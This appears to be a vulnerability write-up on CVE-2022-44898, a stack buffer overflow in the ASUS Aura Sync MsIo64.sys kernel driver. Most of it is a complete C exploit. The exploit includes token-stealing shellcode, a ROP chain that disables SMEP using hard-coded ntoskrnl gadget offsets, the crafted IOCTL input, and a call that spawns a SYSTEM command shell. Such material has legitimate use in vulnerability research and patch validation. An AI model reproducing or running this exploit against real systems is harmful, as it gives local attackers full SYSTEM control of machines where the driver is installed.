Headline
CVE-2022-44898: ASUS AuraSync Kernel Stack Based Buffer Overflow Local Privilege Escalation
The MsIo64.sys component in Asus Aura Sync through v1.07.79 does not properly validate input to IOCTL 0x80102040, 0x80102044, 0x80102050, and 0x80102054, allowing attackers to trigger a memory corruption and cause a Denial of Service (DoS) or escalate privileges via crafted IOCTL requests.
The kernel driver MsIo64.sys is included in Asus AuraSync 1.07.79. A stack-based buffer overflow exists in this kernel driver IOCTL dispatch function.
When you download ASUS AURA SYNC software, MsIo64.sys driver is installed together. In the IOCTL code of this driver, the memmove function is called at 0x80102040, but there is no path check at this time, so a stack based buffer overflow vulnerability may occur.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
__int64 __fastcall sub_113F0(__int64 a1, IRP *a2) { ULONG_PTR Src[2]; // [rsp+30h] [rbp-48h] … switch ( LowPart ) { case 0x80102040: DbgPrint(“IOCTL_MSIO_MAPPHYSTOLIN”); if ( !(_DWORD)Options ) goto LABEL_9; memmove(Src, MasterIrp, Options); v11 = sub_FFFFF80375F91090((PHYSICAL_ADDRESS)Src[1], Src[0], &BaseAddress, &Handle, &Object); if ( v11 >= 0 ) { memmove(MasterIrp, Src, Options); a2->IoStatus.Information = Options; } a2->IoStatus.Status = v11; break; … }
MasterIrp is lpInBuffer as an argument when calling the DeviceIoControl function. Since lpInBuffer is moved to Src, and the length is not checked, a rop attack is possible by changing the dispatch function return address.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
#include <stdio.h> #include <string> #include <Windows.h> #include <Psapi.h> #define IOCTL_CODE 0x80102040 BYTE shellcode_[] = “\x65\x48\x8B\x14\x25\x88\x01\x00\x00” // mov rdx, gs:[188h] ; _ETHREAD “\x4C\x8B\x82\x20\x02\x00\x00” // mov r8, [rdx + 220h] ; _EPROCESS “\x4D\x8B\x88\x48\x04\x00\x00” // mov r9, [r8 + 448h] ; ActiveProcessLinks “\x49\x8B\x09” // mov rcx, [r9]
// GetProcessByPid “\x48\x8B\x51\xF8” // mov rdx, [rcx - 8] ; UniqueProcessId “\x48\x83\xFA\x04” // cmp rdx, 4 ; PID 4 SYSTEM process “\x74\x05” // jz found_system ; SYSTEM token “\x48\x8B\x09” // mov rcx, [rcx] ; _LIST_ENTRY Flink “\xEB\xF1” // jmp find_system_proc ; While // FoundGetProcess
“\x48\x8B\x41\x70” // mov rax, [rcx + 70h] ; Get Token
“\x24\xF0” // and al, 0f0h
// FindProcess
“\x48\x8B\x51\xF8” // mov rdx, [rcx-8] ; UniqueProcessId “\x48\x81\xFA\x00\x00\x00\x00” // cmp rdx, 0d54h ; if UniqueProcessId == CurrentPid “\x74\x05” // jz found_cmd ; True - jump FoundProcess “\x48\x8B\x09” // mov rcx, [rcx] ; False - next entry “\xEB\xEE” // jmp find_cmd ; jump FindProcess // FoundProcess
“\x48\x89\x41\x70” // mov [rcx+70h], rax ; Overwrite SYSTEM token
“\x48\x31\xc0” // xor rax rax
“\x48\x31\xc9” // xor rcx rcx
“\x48\x31\xf6” // xor rsi,rsi
“\x48\x31\xff” // xor rdi, rdi
“\x4D\x31\xC0” // xor r8, r8
“\x48\xc7\xc1\xf8\x06\x35\x00” // mov rcx, 0x3506f8 ; original cr4
"\xc3"; // ret
LPVOID GetBaseAddr(const char* drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
if (strcmp(szDrivers, drvname) == 0) {
return drivers[i];
}
}
}
}
return 0;
}
void exploit() { DWORD pid = GetCurrentProcessId(); INT64 ntoskrnl = (INT64)GetBaseAddr(“ntoskrnl.exe”); HANDLE hDevice;
hDevice = CreateFileA("\\\\.\\MsIo", FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error device open %d\n", GetLastError());
exit(1);
}
printf("[+] Success device open\n");
// Allocate executable memory
BYTE* shellcode = (BYTE*)VirtualAlloc(NULL, sizeof(shellcode_), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode, shellcode_, sizeof(shellcode_));
memcpy(shellcode + 54, &pid, sizeof(pid)); // Change the pid of the shellcode
INT64 disable_SMEP = 0x250ef8; // cr4 value, disable SMEP
INT64 enable_SMEP = 0x350ef8; // cr4 value, enable SMEP
INT64 pop_rcx = ntoskrnl + 0x314f03; // pop rcx; ret
INT64 mov_cr4 = ntoskrnl + 0x9a4217; // mov cr4, rcx; ret
INT64 wbinvd = ntoskrnl + 0x37fb50; // wbinvd; ret
INT64 ret = pop_rcx + 1; // ret
printf("[+] SMEP disabled\n");
BYTE input[136] = { 0, };
memset(input, 0x90, 72); // dummy
memcpy(input + 72, &pop_rcx, 8); // pop rcx
memcpy(input + 80, &disable_SMEP, 8); // disable SMEP value
memcpy(input + 88, &mov_cr4, 8); // mov cr4, rcx
memcpy(input + 96, &wbinvd, 8); // wbinvd; ret
memcpy(input + 104, &shellcode, 8); // shellcode
memcpy(input + 112, &mov_cr4, 8); // mov cr4, rcx
memcpy(input + 120, &ret, 8); // restore rsp(stack)
memcpy(input + 128, &ret, 8); // restore rsp(stack)
DWORD temp;
if (!DeviceIoControl(hDevice, IOCTL_CODE, input, sizeof(input), NULL, 0, &temp, NULL)) {
printf("[-] Failed DeviceIoControl %d\n", GetLastError());
exit(1);
}
printf("[+] SMEP enabled\n");
printf("[+] Sucesss execute shellcode\n");
printf("[+] Success Get SYSTEM shell\n");
printf("\n\n");
system("cmd");
}
int main() { exploit(); return 0; }